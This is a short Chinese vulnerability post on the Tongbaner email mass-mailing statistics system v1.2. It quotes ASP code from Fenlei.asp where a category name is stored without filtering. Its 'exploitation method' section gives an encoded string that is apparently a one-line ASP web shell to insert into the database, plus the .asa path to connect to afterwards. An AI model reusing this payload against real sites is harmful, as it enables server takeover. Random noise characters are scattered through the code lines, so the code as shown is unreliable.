铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

" }, t  [4 L/ O% @3 vIF Request.QueryString("Action")="del" Then
7 |: n. K+ I; p3 s9 NID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
2 C+ F: f' ?# m- c$ i) k9 JIF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
; U7 J5 X5 K; W! s. NSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
) F3 L9 n4 |/ @& G" |Rs.Addnew
Rs("Typename")=Tname
' d0 D: e( G0 ~- J) F; T$ w'略
) Z& ]/ t; B" Z& C- P# z" ESet Rs=Server.CreateObject("adodb.Recordset")
" p3 U3 |8 _+ S0 U8 WSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
%>
1 W7 M; i$ e7 G

* `4 d- T4 J  k. e
2 r8 Z: a9 G- ^% ^没有过滤，直接写入数据库。

1 b# ]* L+ s( R利用方法：

插入：┼攠數畣整爠煥敵瑳∨≡┩>


6 q* R7 }- o' Y$ d" r连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
'install.asp